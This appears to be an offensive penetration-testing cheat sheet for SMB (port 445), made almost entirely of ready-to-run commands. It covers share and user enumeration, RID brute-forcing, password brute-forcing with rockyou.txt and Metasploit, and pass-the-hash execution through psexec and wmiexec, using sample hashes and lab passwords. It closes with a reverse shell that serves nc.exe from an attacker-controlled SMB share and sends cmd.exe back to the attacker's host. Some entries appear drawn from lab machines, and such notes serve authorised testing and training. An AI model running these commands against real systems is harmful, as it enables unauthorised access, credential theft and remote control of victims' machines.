445 - SMB
Information
Default Port: 445
PORT STATE SERVICE
445/tcp open mircosoft-ds
Enumeration
netexec smb 192.168.1.2
enum4linux 192.168.1.2
nmap -p445 -sS 192.168.1.2
nmap -p445 -sVC 192.168.1.2
nmap -p445 --script="smb-vuln*" 192.168.1.2
nmap -p445 --script="vuln and safe" 192.168.1.2
nmap -p445 --script="smb-enum-*" 192.168.1.2
Check Credentials
# password
netexec smb 192.168.1.2 -u peter -p Passsword1
netexec smb 192.168.1.2 -u peter -p Passsword1 --local-auth
# hash
netexec smb 192.168.1.2 -u peter -H <HASH>
netexec smb 192.168.1.2 -u peter -H <HASH> --local-auth
Shares
List
Null
# default port
smbclient -NL //192.168.1.2
rpcclient -NU "" 192.168.1.2 -c "netshareenum" # absolute path
# other port
smbclient -NL //192.168.1.2 -p 1234
# (ERROR -> protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED)
smbclient -NL //192.168.1.2 --option="client min protocol=NT1"
smbmap -H 192.168.1.2 --no-banner
smbmap -H 192.168.1.2 -u '' -p '' --no-banner
netexec smb 192.168.1.2 --shares
netexec smb 192.168.1.2 -u '' -p '' --shares
Auth
smbclient -L //192.168.1.2 -U "peter%Password1"
smbmap -H 192.168.1.2 -u peter -p Password1
netexec smb 192.168.1.2 -u peter -p Password1 --shares
# hash
pth-smbclient -L 192.168.1.2 -U 'peter%00000000000000000000000000000000:3B4C57484504038C2F2E94861D507BA7'
Access
Null
smbclient -N //192.168.1.2/share
smbmap -H 192.168.1.2 -r share
netexec smb 192.168.1.2 -u '' -p '' --spider share --regex .
# space
smbclient -N //192.168.1.2/'my share'
# (ERROR -> protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED)
smbclient -N //192.168.1.2/share --option="client min protocol=NT1"
Auth
smbclient -N //192.168.1.2/share -U "peter%Pasword1"
netexec smb 192.168.1.2 -u peter -p Password1 --spider share --regex .
smbmap -H 192.168.1.2 -u peter -p Password1 -r share
# hash
pth-smbclient //192.168.1.2/share -U 'peter%00000000000000000000000000000000:3B4C57484504038C2F2E94861D507BA7'
smbclient //192.168.1.2/share -U peter --pw-nt-hash '3B4C57484504038C2F2E94861D507BA7'
smbclient //192.168.1.2/share -U peter --pw-nt-hash 'F9FE0310AF66C797A73CB60B1953FCD7' -p 1234
Upload
# file
smbclient -N //192.168.1.2/folder
smb: \> put cmd.php
# files
smbclient -N //192.168.1.2/folder
smb: \> mput *
Download
smbmap -H 192.168.1.2 --download SYSVOL/Groups/Groups.xml
smbmap -H 192.168.1.2 -u peter -p Password1 --download share/secret.txt --no-banner
smbmap -H 192.168.1.2 -u peter -p Password1 --download 'users$/mhope/azure.xml'
smbmap -H 192.168.1.2 -u 'guest' -p '' --download Public/'SQL Server Procedures.pdf'
# file
smbclient -N //192.168.1.2/folder
smb: \> get file.zip
# all files
smbclient -N //192.168.1.2/folder
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
netexec smb 10.129.228.253 -u 'guest' -p '' --share Public --get-file "SQL Server Procedures.pdf" "SQLServerProcedures.pdf"
smbget -R smb://192.168.1.2/folder$ -U "peter%Password1"
Mount (CIFS)
mkdir /mnt/samba
# null
mount -t cifs //192.168.1.2/share /mnt/samba
# auth
mount -t cifs //192.168.1.2/share /mnt/samba -o username=peter,password='Pasword123!',rw
cd /mnt/samba
tree
umount /mnt/samba
Users
netexec smb 192.168.1.74 -u users.dic -p Password1
netexec smb 192.168.1.74 --users
netexec smb 192.168.1.74 -u '' -p '' --users
rpcclient -U "" -N 192.168.1.2 -c "enumdomusers"
rpcclient -U "" -N 192.168.1.2 -c "querydispinfo and enumdomusers"
rpcclient -U "" -N 192.168.1.2 -c "querydispinfo and enumdomusers" | awk '{print $8}'
enum4linux -U 192.168.1.2
for i in $(cat usernames.dic); do bash -c "rpcclient -W '' -U ''%'' 192.168.1.2 -c 'lookupnames $i'" ;done | grep "User"
RID
netexec smb 192.168.1.2 --rid-brute
netexec smb 192.168.1.2 -u '' -p '' --rid-brute
Linux
rpcclient -W '' -U ''%'' 192.168.1.2 -c 'lookupnames root' # default port
rpcclient -W '' -U ''%'' 192.168.1.2 -p 1234 -c 'lookupnames root' # other port
root S-1-22-1-0 (User: 1)
# default port
for i in $(seq 1000 1005); do bash -c "rpcclient -W '' -U ''%'' 192.168.1.2 -c 'lookupsids S-1-22-1-$i'" ;done
# other port
for i in $(seq 1000 1005); do bash -c "rpcclient -W '' -U ''%'' 192.168.1.2 -p 1234 -c 'lookupsids S-1-22-1-$i'" ;done
S-1-22-1-1000 Unix User\dad (1)
S-1-22-1-1001 Unix User\mum (1)
S-1-22-1-1002 Unix User\baby (1)
S-1-22-1-1003 Unix User\1003 (1)
S-1-22-1-1004 Unix User\1004 (1)
S-1-22-1-1005 Unix User\1005 (1)
Windows
rpcclient -W '' -U ''%'' 192.168.1.2 -c 'lookupnames administrator'
rpcclient -U 'administrator%Password123' 192.168.1.2 -c 'lookupnames administrador'
administrador S-1-5-21-172782897-4107608896-4177437455-500 (User: 1)
for i in $(seq 500 1150); do bash -c "rpcclient -W '' -U ''%'' 192.168.1.2 -c 'lookupsids S-1-5-21-172782897-4107608896-4177437455-$i'" ;done | grep -v "unknown"
for i in $(seq 500 1150); do bash -c "rpcclient -W '' -U 'administrador'%'Password123' 192.168.1.2 -c 'lookupsids S-1-5-21-172782897-4107608896-4177437455-$i'" ;done | grep -v "unknown"
for i in $(seq 500 1150); do bash -c "rpcclient -W '' -U 'administrador'%'Password123' 192.168.1.2 -c 'lookupsids S-1-5-21-172782897-4107608896-4177437455-$i'" ;done | grep -vE "unknown|\(2\)|\(4\)"
Brute Force
Password
NetExec
netexec smb 192.168.1.2 -u peter -p rockyou.txt
netexec smb 192.168.1.2 -u peter -p rockyou.txt --continue-on-success
netexec smb 192.168.1.2 -u peter -p rockyou.txt --continue-on-success --ignore-pw-decoding
netexec smb 192.168.1.2 -u peter -p rockyou.txt --continue-on-success --no-bruteforce
Metasploit
msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > set RHOST 192.168.1.2
msf6 auxiliary(scanner/smb/smb_login) > set SMBuser peter
msf6 auxiliary(scanner/smb/smb_login) > set PASS_FILE rockyou.txt
msf6 auxiliary(scanner/smb/smb_login) > set VERBOSE false
msf6 auxiliary(scanner/smb/smb_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(scanner/smb/smb_login) > set THREADS 10
msf6 auxiliary(scanner/smb/smb_login) > run
PassTheHash (PtH)
pth-winexe -U WORKGROUP/admin%123456 //192.168.1.2 cmd.exe
pth-winexe -U WORKGROUP/admin%00000000000000000000000000000000:32ed87bdb5fdc5e9cba88547376818d4 //192.168.1.2 cmd.exe
wmiexec.py WORKGROUP/administrator:'MyUnclesAreMarioAndLuigi!!1!'@10.129.1.147
impacket-psexec hutch.offsec/administrator:'xG/j06xg8TMg6I'@192.168.248.122
wmiexec.py WORKGROUP/administrator@10.129.1.147 -hashes ':2dcefe78334b42c0ce483b8e1b2886ab'
psexec.py domain.htb/admin:123456@192.168.1.2 cmd.exe
psexec.py WORKGROUP/admin@192.168.1.2 cmd.exe
psexec.py WORKGROUP/admin:123456@192.168.1.2 cmd.exe
psexec.py WORKGROUP/administrator:'MyUnclesAreMarioAndLuigi!!1!'@10.129.1.147 cmd.exe
psexec.py -hashes ':32ed87bdb5fdc5e9cba88547376818d4' WORKGROUP/administrator@192.168.1.2 cmd.exe
Reverse Shell
locate nc.exe
cp /usr/share/windows-resources/binaries/nc.exe .
impacket-smbserver a $(pwd)
rlwrap nc -lvnp 443
# -x COMMAND execute the specified command
# -X PS_COMMAND execute the specified PowerShell command
netexec smb 192.168.1.2 -u 'administrator' -p Password1 -x '\\192.168.1.3\a\nc.exe -e cmd.exe 192.168.1.3 443'
netexec smb 192.168.1.2 -u 'administrator' -p Password1 -X '\\192.168.1.3\a\nc.exe -e cmd.exe 192.168.1.3 443'